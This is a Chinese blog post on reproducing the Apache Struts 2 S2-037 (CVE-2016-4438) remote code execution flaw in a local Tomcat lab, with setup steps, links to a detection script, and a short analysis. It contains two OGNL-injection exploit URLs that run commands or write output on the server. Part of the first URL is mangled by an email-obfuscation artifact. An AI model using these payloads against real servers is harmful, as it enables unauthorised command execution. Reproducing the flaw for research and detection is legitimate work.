Struts 2-037本地复现详解+分析+检测工具

  • A+
所属分类:安全工具

Struts 2-037检测工具:

今年4月份,Apache Struts 2之上发现的S2-033远程代码执行漏洞,以迅雷不及掩耳之势席卷而来。其利用代码很快就在短时间内迅速传播。而且官方针对这个高危漏洞的修复方案还是无效的。

悲剧的事情今天又再度发生了,这次发现的Struts 2新漏洞编号为CVE-2016-4438。这是又一个很严重的远程代码执行漏洞:使用REST插件的用户就会遭遇该问题。

Struts 2-037本地复现详解+分析+检测工具
#使用说明:
# 1、检测
python S2-037.py -u http://xxx.xxx.xxx.xxx/xx/

下载地址:http://share.weiyun.com/fb7ffb2167250bd37f3bfb91c2f1cbdf

复现详解+分析:

本地复现条件:

java JDK 1.7

Tomcat 7.0(如果你实在懒得去下载我也给你提供一个地址吧,专为懒人提供:http://tomcat.apache.org/download-70.cgi)根据你电脑位数下载对应的程序就好了(32-bit Windows zip (pgp, md5, sha1)这种的才是下载地址,tomcat不需要安装解压就能用)

环境:windows 2003(本机有问题只能在虚拟机里面跑了)

poc案例:官网下载的(有人说官网不提供案例,其实只是你没找到而已),这里我本地提供一个案例下载地址:http://share.weiyun.com/255796c462f4332154f19be09e37c741

Struts 2-037本地复现详解+分析+检测工具


 

部署步骤:(也是为懒人提供,如果你不会部署那么还怎么研究这个exp?

第一步:安装javajdk(不会的百度)

第二步:下载tomcat,随便解压到一个文件夹里面(最好不要带中文,如果发现tomcat一闪而过那么你需要配置一下tomcat的环境变量,具体的配置百度一下就几句话)

第三步:下载poc案例放到tomcat的apps文件夹里面(不懂看下面的图片)

Struts 2-037本地复现详解+分析+检测工具


第四步:启动tomcat(看图说明,配置也不需要你改默认端口是8080)

Struts 2-037本地复现详解+分析+检测工具



第五步:等待tomcat启动大概需要5  6秒的样子吧,然后访问地址 http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml

这个地址的意思是:本地ip:端口/项目的名称/项目文件的路径

Struts 2-037本地复现详解+分析+检测工具

这里看这个demo的源码就能看的出来利用点在哪里

Struts 2-037本地复现详解+分析+检测工具
Struts 2-037本地复现详解+分析+检测工具


然后poc就搭建好了,接下来就是测试exp,exp乌云很多地方都用我这里提供两枚

第一个:(pkav的作者提供的,使用的时候访问结果是404,但是会触发漏洞)

http://127.0.0.1:8080/struts2-rest-showcase/orders/3/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%[email protected]@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc

效果图如下:

Struts 2-037本地复现详解+分析+检测工具


第二个:

来源git的一个py程序(访问不会出现404,返回结果直接显示在页面上)

http://127.0.0.1:8080/struts2-rest- showcase/orders/3/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3F((%23writ%3D(%23attr%5B%23parameters.com%5B0%5D%5D).getWriter())%2C%23writ.println(3345*2356))%3Aindex.xhtml?com=com.opensymphony.xwork2.dispatcher.HttpServletResponse

效果图如下:

Struts 2-037本地复现详解+分析+检测工具

最后分析一下利用方式:归根到底这个漏洞触发是在method的拦截上面的那么利用条件:

1:启用动态调用方法为true

2:网站里面必须使用/xxx/Mthod这种方式调用方法  method就是具体要执行的方法(不懂的可以看看这个大牛的文章:http://zone.wooyun.org/content/27865,里面也说的挺清楚的)

3:利用条件你得知道这个method的名称(或者说在哪里调用了你得知道)

所有总的来说这个漏洞威力是挺大的,但是利用起来可能没有 016,019那么方便,那两个漏洞是直接触发在拦截器上面的,所以只要访问就能触发




本文始发于微信公众号(飓风网络安全):Struts 2-037本地复现详解+分析+检测工具

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: